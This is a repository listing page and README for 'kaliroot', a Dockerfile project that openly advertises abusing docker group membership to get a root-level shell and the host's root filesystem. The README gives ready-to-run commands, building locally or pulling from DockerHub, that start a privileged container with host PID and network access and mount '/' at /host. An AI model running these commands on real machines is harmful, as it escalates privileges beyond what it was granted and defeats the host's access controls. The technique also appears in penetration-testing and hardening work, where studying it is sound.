https://github.com/phx/kaliroot
Abuses the docker group to give you a priveleged chroot into the root filesystem. Exit the chroot to have all of the Kali tools at your fingertips and access the host filesystem at /host.
https://github.com/phx/kaliroot
Last synced: 5 months ago
JSON representation
Abuses the docker group to give you a priveleged chroot into the root filesystem. Exit the chroot to have all of the Kali tools at your fingertips and access the host filesystem at /host.
- Host: GitHub
- URL: https://github.com/phx/kaliroot
- Owner: phx
- License: mit
- Created: 2020-05-15T16:45:40.000Z (about 6 years ago)
- Default Branch: master
- Last Pushed: 2020-05-23T15:35:12.000Z (about 6 years ago)
- Last Synced: 2025-01-29T10:33:56.811Z (over 1 year ago)
- Language: Dockerfile
- Homepage: https://hub.docker.com/r/lphxl/kaliroot
- Size: 1.95 KB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# kaliroot
Abuses `docker` group privileges to gain a root level shell into the main operating system.
Exit the chroot shell, and you now have access to any Kali tools you need, and access the host root filesystem at `/host`.
This is part of my slightly larger project on GitHub called [dockergroupabuse](https://github.com/phx/dockergroupabuse).
## Install via Git
```sh
git clone https://github.com/phx/kaliroot
cd kaliroot
docker build -t kaliroot .
docker run --privileged --pid=host --net=host -itv /:/host kaliroot
```
## Install via DockerHub:
`docker run --privileged --pid=host --net=host -itv /:/host lphxl/kaliroot`